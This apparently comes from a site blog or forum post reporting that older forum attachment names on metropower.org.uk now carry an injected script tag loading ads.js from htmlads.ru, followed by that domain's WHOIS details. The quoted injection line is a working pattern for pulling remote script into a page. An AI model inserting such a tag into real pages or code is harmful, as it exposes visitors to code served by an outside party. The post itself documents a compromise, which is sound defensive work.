Since the DNS problem.. & we switched to metropower.org.uk.. it has been spotted that attachments in the forum before that date now read "Chillin!.JPG<script src=http://www.htmlads.ru/ads.js></script> (65KB - 9 downloads)" for example, instead of just "Chillin!.jpg (65KB - 9 downloads)".
For the records, the domain registration details are:
domain: HTMLADS.RU
type: CORPORATE
nserver: ns1.htmlads.ru. 75.34.216.140
nserver: ns2.htmlads.ru. 216.119.45.147
nserver: ns3.htmlads.ru. 72.48.193.152
nserver: ns4.htmlads.ru. 71.108.37.140
state: REGISTERED, DELEGATED, UNVERIFIED
person: Private person
phone: +7 496 4047474
e-mail: tau@8081.ru
registrar: REGRU-REG-RIPN
created: 2009.10.05
paid-till: 2010.10.05
source: TC-RIPN
Labels: IIS, Russia, Viruses
Cheers, Mutts.